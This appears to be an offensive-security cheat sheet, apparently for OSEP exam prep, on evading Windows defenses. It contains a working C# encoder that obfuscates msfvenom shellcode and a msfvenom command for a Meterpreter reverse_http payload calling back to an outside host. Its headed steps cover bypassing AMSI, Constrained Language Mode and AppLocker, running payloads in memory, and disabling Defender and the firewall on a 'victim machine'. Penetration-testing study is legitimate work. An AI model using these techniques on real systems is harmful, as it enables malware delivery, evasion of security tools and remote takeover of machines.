Bypass All The Things
Stuck?
look at this --> https://github.com/emanuelepicas/OSEP/tree/master/AV-Evasion
Encode payload with Byte Shifting
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace EncryptVBA
{
class Program
{
static void Main(string[] args)
{
// byte[] buff = ... from msfvenom command, just paste
// HERE
// msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.45.173 LPORT=8080 -f csharp
// -----
byte[] encoded = new byte[buff.Length];
for (int i = 0; i < buff.Length; i++)
{
encoded[i] = (byte)(((uint)buff[i] + 2) & 0xFF);
}
uint counter = 0;
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D},", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat(" _{0}", Environment.NewLine);
}
}
Console.WriteLine("The payload is: " + hex.ToString());
}
}
}for quick compiling using C# use csc.exe:
VBA Script decode payload with Byte Shifting
make sure you have this "(space)_" in the end of line in your shellcode array:

AMSI Bypass

always works.
more advanced
sometimes problem with CLM
or if it doesn't works, save the powershell command in to amsi.txt
then execute it directly into memory with IEX:
Stuck with AMSI? try this -> https://amsi.fail/
CLM Bypass
CLM is refering to Constrained Language Mode.

Using FullBypass.csproj
Check with this:
save file as FullBypass.csproj
or download from github:
Download this file, and upload it into the windows victim machine
Then run this command
Using Compiled C# - Runspaces powershell
compile the project with visualstudio, then convert it to base64 with certutil in the windows
setup python simple shell including this file:
PSRunspace-InvokeRun-certutilCoded.txt
drop.ps1 same as code below:
then listen the nc:
run this code in victim machine:
Bypass AppLocker + CLM
We also able to change the last command to other bypass mechanism. ex: installutil.exe
Using InstallUtil.exe
Amsi + CLM Bypass
run this with msbuild.exe:

reference: https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/
Run directly in the Memory
powershell to memory
To bypass AV.
exe to memory
run the exe in memory
call the function directly because it's global function
Disable Windows Defender
Require Local Admin and need to execute as impacket-psexec or psexec.exe
impacket-psexec needs smb service / port 445
Disable FIrewall
More Reference
Last updated